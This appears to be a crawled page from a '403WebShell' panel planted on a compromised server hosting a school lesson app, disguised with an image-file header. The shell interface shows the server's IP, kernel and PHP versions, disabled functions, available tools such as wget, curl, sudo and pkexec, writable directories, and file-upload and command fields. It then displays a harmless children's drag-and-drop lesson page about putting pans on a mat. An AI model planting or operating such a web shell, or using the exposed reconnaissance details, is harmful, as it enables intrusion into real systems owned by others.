????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.141.33.133
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old4/Html/LevelA/Category2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old4/Html/LevelA/Category2/LevelACat2Lesson6.html
<!DOCTYPE html>
<html>
    <head>
        <title>Put pans on the mat</title>
        
        <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
            
            <style type="text/css">

                .LeftAndRightPadding
                {
                    padding-left: 10%;
                    padding-right: 10%;
                    border: none;
                }
                
                canvas
                {
                    border:0px solid #d3d3d3;
                    position:absolute;
                    display:none;
                }
            </style>
            
            <script>
                function page_preLoad()
                {
					setPageImages();

                    shared_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
                    shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
                    
                    shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.A, Category.No2, 6), true, true);
                    shared_setFooterTable('id_tblFooter', true, true, false, true, true);
                    
                    var ids_boxes = ['id_dropBox_for_pans1', 'id_dropBox_for_pans2', 'id_dropBox_for_pans3', 'id_dropBox_for_pans4', 'id_dropBox_for_pans5'];

                    var ids_options = ['id_img_pans1', 'id_img_pans2', 'id_img_pans3', 'id_img_pans4', 'id_img_pans5'];
                    var ids_headings = ['id_td_heading1'];
                    var ids_texts = ['id_td_text1', 'id_td_text2', 'id_td_text3', 'id_td_text4', 'id_td_text5'];

                    shared_adjust_fontSize_for_ids_all_devices(ids_headings, 80);
                    shared_adjust_fontSize_for_ids_all_devices(ids_texts, 80);

                    shared_init_dropBox_tds_withOUT_drag_here(ids_boxes);
                    shared_init_dropping_spans(ids_options);
                    
                    var id_tables_array = ['id_table1'];
                    shared_border_collapse_for_tables_except_android(id_tables_array);
                }
            
                function page_onLoad()
                {
                    for (suffix=1; suffix<=5; suffix++)
                    {
                        var elementPans = document.getElementById('id_img_pans' + suffix);
                        elementPans.isMoved = false;
                    }
                }
            
                function setPageImages()
                {
                    var imagesPath = '../../../img/LevelA/Category2/LevelACat2Lesson6/';
                    
                    setImageSource('id_img_mat_for_pans1', imagesPath, 'Mat.png');
                    setImageSource('id_img_pans2', imagesPath, 'Pans2.png');
                    setImageSource('id_img_mat_for_pans2', imagesPath, 'Mat.png');
                    setImageSource('id_img_pans4', imagesPath, 'Pans4.png');
                    setImageSource('id_img_mat_for_pans3', imagesPath, 'Mat.png');
                    setImageSource('id_img_pans5', imagesPath, 'Pans5.png');
                    setImageSource('id_img_mat_for_pans4', imagesPath, 'Mat.png');
                    setImageSource('id_img_pans3', imagesPath, 'Pans3.png');
                    setImageSource('id_img_mat_for_pans5', imagesPath, 'Mat.png');
                    setImageSource('id_img_pans1', imagesPath, 'Pan1.png');
                }
                
                function setImageSource(id_image, imagesPath, imageName)
                {
                    var eImage = document.getElementById(id_image);
                    eImage.src = imagesPath + imageName;
                    
                    var deviceType = shared_getDeviceType();
                    
                    if (imageName == 'Mat.png')
                    {
                        if (deviceType == shared_DeviceTypeAndroid)
                        {
                            eImage.style.width = '90%';
                            eImage.style.height = '170%';
                        }
                        else
                        {
                            eImage.style.width = '75%';
                            eImage.style.height = 'auto';
                        }
                    }
                }
                
                function btnPrevious_click()
                {
                    window.location = "LevelACat2Lesson5.html";
                }
                
                function btnNext_click()
                {
                    window.location = "LevelACat2Lesson7.html";
                }
                
                function btnHome_click()
                {
                    shared_btnHomeCategories_click('LevelA');
                }
                
                function DragDrop(id_imgPans, id_img_mat_for_pans, id_dropBox_for_pans, ids_array)
                {
                    if (shared_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox_for_pans, ids_array))
                    {
                        var eImgPans = document.getElementById(id_imgPans);

                        var eImgMatForPans = document.getElementById(id_img_mat_for_pans);
                        var eTdPosition = eImgMatForPans.getBoundingClientRect();

                        var xAddition = (eTdPosition.width - eImgPans.width) / 2.0;
                        var yAddition = (eTdPosition.height - eImgPans.height) / 2.0;

                        eImgPans.style.position = 'absolute';
                        eImgPans.style.left = eTdPosition.left + xAddition + 'px';
                        eImgPans.style.top = eTdPosition.top + yAddition + 'px';
                        eImgPans.width = eTdPosition.width - (2 * xAddition);
                        eImgPans.height = eTdPosition.height - (2 * yAddition);

                        eImgPans.isMoved = true;

                        var eTdMatForPans = document.getElementById(id_dropBox_for_pans);
                        eTdMatForPans.style.background = shared_colorGreen;

                        isAllInfosMovedShowClapsAnimation();

                        shared_set_currentDropingId_draggbleToFalse();
                    }
                    else
                    {
                        shared_resetCurrentDroppingPosition(id_dropBox_for_pans);
                    }
                }
                
                function isAllInfosMovedShowClapsAnimation()
                {
                    if (isAllPansMoved())
                    {
                        var ids_boxes = ['id_dropBox_for_pans1', 'id_dropBox_for_pans2', 'id_dropBox_for_pans3', 'id_dropBox_for_pans4', 'id_dropBox_for_pans5'];

                        shared_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
                    }
                }
                
                function isAllPansMoved()
                {
                    for (suffix=1; suffix<=5; suffix++)
                    {
                        var elementPans = document.getElementById('id_img_pans' + suffix);
                        
                        if (elementPans.isMoved == false)
                        {
                            return (false);
                        }
                    }
                    
                    return (true);
                }
            
            </script>
        </head>
    <body onload="page_onLoad()">
        <div id="shared_id_div_claps_image">
        </div>
        
        <table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
            <tr height="8%">
                <td>
                    <div id="id_tblHeader"></div>
                </td>
            </tr>
            <tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
                <td>
                    <table width="100%" height="100%" border="0px" cellspacing="0" cellpadding="2%">
                        <tr height="50%">
                            <td align="center">
                                <table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
                                    <tr height="*">
                                        <td  id="id_td_heading1" class="shared_style_options_blue_24px_bold" style="padding-left: 2%; border-bottom: none"><span>Put</span> <span style="color: red">pans</span> on the <span style="color: red">mat</span>:
                                        </td>
                                    </tr>
                                    <tr height="19%">
                                        <td style="border-bottom:none">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr height="*">
                                                    <td id="id_td_text1" class="shared_style_blue_24px_bold" style="padding-left: 2%; border: none">
                                                        <span>1. Put 1</span> <span style="color: red">pan</span> on this <span style="color: red">mat</span>:
                                                    </td>
                                                </tr>
                                                <tr height="80%">
                                                    <td id="id_dropBox_for_pans1" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="shared_highlight('id_dropBox_for_pans1'); shared_allowDrop_web(event)"
                                                        ondragleave="shared_un_highlight('id_dropBox_for_pans1')"
                                                        ondrop="DragDrop('id_img_pans1', 'id_img_mat_for_pans1', 'id_dropBox_for_pans1', ['id_img_pans1'])">
                                                        <img id="id_img_mat_for_pans1" class="cls_MatForPan1">
                                                    </td>
                                                    <td id="id_td_Pans2" width="*" align="center" style="border: none"  draggable="true" ondragstart="shared_dragStartNew(event)">
                                                        <img id="id_img_pans2" width="30%" height="auto" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="19%">
                                        <td style="border-bottom:none">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr height="*">
                                                    <td id="id_td_text2" class="shared_style_blue_24px_bold" style="padding-left: 2%; border: none">
                                                        <span>2. Put 3</span>
                                                        <span style="color: red">pans</span> on this <span style="color: red">mat</span>:
                                                    </td>
                                                </tr>
                                                <tr height="80%">
                                                    <td id="id_dropBox_for_pans3" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="shared_highlight('id_dropBox_for_pans3'); shared_allowDrop_web(event)"
                                                        ondragleave="shared_un_highlight('id_dropBox_for_pans3')"
                                                        ondrop="DragDrop('id_img_pans3', 'id_img_mat_for_pans3', 'id_dropBox_for_pans3', ['id_img_pans3'])">
                                                        <img id="id_img_mat_for_pans3" class="cls_MatForPans3">
                                                    </td>
                                                    <td width="*" id="id_td_Pans4" align="center" style="border: none" draggable="true" ondragstart="shared_dragStartNew(event)">
                                                        <img id="id_img_pans4" width="45%" height="auto" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="19%">
                                        <td>
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr height="*">
                                                    <td id="id_td_text3" class="shared_style_blue_24px_bold" style="padding-left: 2%; border: none">
                                                        <span>3. Put 2</span>
                                                        <span style="color: red">pans</span> on this <span style="color: red">mat</span>:
                                                    </td>
                                                </tr>
                                                <tr height="80%">
                                                    <td id="id_dropBox_for_pans2" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="shared_highlight('id_dropBox_for_pans2'); shared_allowDrop_web(event)"
                                                        ondragleave="shared_un_highlight('id_dropBox_for_pans2')"
                                                        ondrop="DragDrop('id_img_pans2', 'id_img_mat_for_pans2', 'id_dropBox_for_pans2', ['id_img_pans2'])">
                                                        <img id="id_img_mat_for_pans2" class="cls_MatForPans2">
                                                    </td>
                                                    <td width="*" id="id_td_Pans5" align="center" style="border: none" draggable="true" ondragstart="shared_dragStartNew(event)">
                                                        <img  id="id_img_pans5" width="25%" height="auto" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="19%">
                                        <td style="border-bottom:none">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr height="*">
                                                    <td id="id_td_text4" class="shared_style_blue_24px_bold" style="padding-left: 10px; border: none">
                                                        <span>4. Put 4</span> <span style="color: red">pans</span> on this <span style="color: red">mat</span>:
                                                    </td>
                                                </tr>
                                                <tr height="80%">
                                                    <td id="id_dropBox_for_pans4" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="shared_highlight('id_dropBox_for_pans4'); shared_allowDrop_web(event)"
                                                        ondragleave="shared_un_highlight('id_dropBox_for_pans4')"
                                                        ondrop="DragDrop('id_img_pans4', 'id_img_mat_for_pans4', 'id_dropBox_for_pans4', ['id_img_pans4'])">
                                                        <img id="id_img_mat_for_pans4" class="cls_MatForPans4">
                                                    </td>
                                                    <td width="*" id="id_td_Pans3" align="center" style="border: none" draggable="true" ondragstart="shared_dragStartNew(event)">
                                                        <img id="id_img_pans3" width="25%" height="auto" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="19%">
                                        <td>
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr height="*">
                                                    <td id="id_td_text5" class="shared_style_blue_24px_bold" style="padding-left: 10px; border: none">
                                                        <span>5. Put 5</span> <span style="color: red">pans</span> on this <span style="color: red">mat</span>:
                                                    </td>
                                                </tr>
                                                <tr height="80%">
                                                    <td id="id_dropBox_for_pans5" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="shared_highlight('id_dropBox_for_pans5'); shared_allowDrop_web(event)"
                                                        ondragleave="shared_un_highlight('id_dropBox_for_pans5')"
                                                        ondrop="DragDrop('id_img_pans5', 'id_img_mat_for_pans5', 'id_dropBox_for_pans5', ['id_img_pans5'])">
                                                        <img id="id_img_mat_for_pans5" class="cls_MatForPans5">
                                                    </td>
                                                    <td width="*" id="id_td_Pans1" align="center" style="border: none" draggable="true" ondragstart="shared_dragStartNew(event)">
                                                        <img id="id_img_pans1" width="30%" height="auto" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
            <tr height="8%">
                <td>
                    <div id="id_tblFooter"></div>
                </td>
            </tr>
        </table>

        <script>
            page_preLoad();

            new webkit_draggable('id_img_pans1', {handle : 'id_td_Pans1', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
            new webkit_draggable('id_img_pans2', {handle : 'id_td_Pans2', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
            new webkit_draggable('id_img_pans3', {handle : 'id_td_Pans3', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
            new webkit_draggable('id_img_pans4', {handle : 'id_td_Pans4', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
            new webkit_draggable('id_img_pans5', {handle : 'id_td_Pans5', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
            
            webkit_drop.add('id_dropBox_for_pans1', {onOver : function(){shared_highlight('id_dropBox_for_pans1')}, onOut : function(){shared_un_highlight('id_dropBox_for_pans1')}, onDrop : function(){DragDrop('id_img_pans1', 'id_img_mat_for_pans1', 'id_dropBox_for_pans1', ['id_img_pans1'])}});
            webkit_drop.add('id_dropBox_for_pans2', {onOver : function(){shared_highlight('id_dropBox_for_pans2')}, onOut : function(){shared_un_highlight('id_dropBox_for_pans2')}, onDrop : function(){DragDrop('id_img_pans2', 'id_img_mat_for_pans2', 'id_dropBox_for_pans2', ['id_img_pans2'])}});
            webkit_drop.add('id_dropBox_for_pans3', {onOver : function(){shared_highlight('id_dropBox_for_pans3')}, onOut : function(){shared_un_highlight('id_dropBox_for_pans3')}, onDrop : function(){DragDrop('id_img_pans3', 'id_img_mat_for_pans3', 'id_dropBox_for_pans3', ['id_img_pans3'])}});
            webkit_drop.add('id_dropBox_for_pans4', {onOver : function(){shared_highlight('id_dropBox_for_pans4')}, onOut : function(){shared_un_highlight('id_dropBox_for_pans4')}, onDrop : function(){DragDrop('id_img_pans4', 'id_img_mat_for_pans4', 'id_dropBox_for_pans4', ['id_img_pans4'])}});
            webkit_drop.add('id_dropBox_for_pans5', {onOver : function(){shared_highlight('id_dropBox_for_pans5')}, onOut : function(){shared_un_highlight('id_dropBox_for_pans5')}, onDrop : function(){DragDrop('id_img_pans5', 'id_img_mat_for_pans5', 'id_dropBox_for_pans5', ['id_img_pans5'])}});

        </script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit